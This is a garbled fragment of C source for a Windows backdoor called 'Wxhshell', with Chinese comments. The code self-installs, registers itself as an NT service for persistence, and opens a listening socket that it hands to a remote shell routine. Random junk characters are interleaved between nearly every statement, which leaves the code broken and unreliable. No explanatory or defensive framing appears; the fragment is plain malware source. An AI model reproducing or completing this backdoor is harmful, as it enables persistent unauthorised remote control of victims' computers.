g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (up~[ w mn+ CloseHandle(hProcess); %'bM){ /a{la8Ni if(strstr(procName,"services")) return 1; // 以服务启动 "un]Gc umjt]Gu[ return 0; // 注册表启动 }q_<_lQ } 2M.fLQ? Kz~ps
5 // 主模块 j]{_s"O int StartWxhshell(LPSTR lpCmdLine) :*I#n { Y\D!/T SOCKET wsl; n`#tKwWHYx BOOL val=TRUE; H=<S 9M int port=0; '=39+*6? struct sockaddr_in door; I@T8Iv= Z_$%. if(wscfg.ws_autoins) Install(); C^O
VB- =O&%c%~q port=atoi(lpCmdLine); $mu^G t *1uKr9 if(port<=0) port=wscfg.ws_port; o*-)Tq8GHE U_M$#i{_ WSADATA data; '}9x\3E if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hpHr\g #*D)Q/k if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `tBgH_$M setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y^;#&k! door.sin_family = AF_INET; x.]i}mt door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q8T]\6)m door.sin_port = htons(port); 1#C4;3i, b,5~b&<h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .8@$\ZRP closesocket(wsl); q3mJ782p] return 1; v_BcTzQ0S } @:j}Jmg R_ B7EP if(listen(wsl,2) == INVALID_SOCKET) { B~6&{7xc% closesocket(wsl); PY_u/<u return 1; 34`'M+3 } N nRD|A Wxhshell(wsl); Nkjza:f{ WSACleanup(); 6g2a[6G5 S'k_olx7 return 0; I&2c&yO ~Y `ldL } )mg:_K &:;:"{t}Do // 以NT服务方式启动 ~FZ&.<s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xu>9(,l { V_R@o3kv; DWORD status = 0; xR-%L DWORD specificError = 0xfffffff; p?*Q- f iIvc43YV% serviceStatus.dwServiceType = SERVICE_WIN32; u7Y
WnD serviceStatus.dwCurrentState = SERVICE_START_PENDING; .t{MIC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o\[~.";Z serviceStatus.dwWin32ExitCode = 0; NokU)O ;x serviceStatus.dwServiceSpecificExitCode = 0; `[z<4"Os serviceStatus.dwCheckPoint = 0; KT_!d * serviceStatus.dwWaitHint = 0; Tre]"2l ;%B(_c hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bk[U/9Z\ if (hServiceStatusHandle==0) return; Pj[PIz Cw
iKi^m status = GetLastError(); 1Lc#m`Jln if (status!=NO_ERROR) 6o!!=}'E[ { p09HL%~R serviceStatus.dwCurrentState = SERVICE_STOPPED; BHIRHmM<Y serviceStatus.dwCheckPoint = 0; Lco~,OE serviceStatus.dwWaitHint = 0; ~d
o9;8v serviceStatus.dwWin32ExitCode = status; Sj-n;F|=X serviceStatus.dwServiceSpecificExitCode = specificError; spGb!Y`mR SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 f@)z"j return; ?L5zC+c! } pf2[,v/ b[sx_b serviceStatus.dwCurrentState = SERVICE_RUNNING; XtXEB<4Z serviceStatus.dwCheckPoint = 0; 8Ry3`ct serviceStatus.dwWaitHint = 0;
[/PR\'| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ")_|69 VX }
Hu^1[# uX"H4lO~ // 处理NT服务事件,比如:启动、停止 $'0u |Xy` VOID WINAPI NTServiceHandler(DWORD fdwControl) %r<rcY { NC8t)
X7 switch(fdwControl) 0m7Y>0wC6T { P!$Zx)T case SERVICE_CONTROL_STOP:
H_B4 serviceStatus.dwWin32ExitCode = 0; qPWP&k serviceStatus.dwCurrentState = SERVICE_STOPPED; }HL]yDO serviceStatus.dwCheckPoint = 0; 9"@\s$
OBk serviceStatus.dwWaitHint = 0; q YC;cKv { {i1|R"ta SetServiceStatus(hServiceStatusHandle, &serviceStatus); !xz eM VI } O6Vtu Ws% return; u9:`4b case SERVICE_CONTROL_PAUSE: Yw22z #K serviceStatus.dwCurrentState = SERVICE_PAUSED; Kh"?%ZIa break; N@;?CKU case SERVICE_CONTROL_CONTINUE: -<c=US serviceStatus.dwCurrentState = SERVICE_RUNNING; ucuSe!IcX break; :lX!\(E2 case SERVICE_CONTROL_INTERROGATE: H;D>|q break; Qwz}B }; v&Ii^?CvO SetServiceStatus(hServiceStatusHandle, &serviceStatus); f& |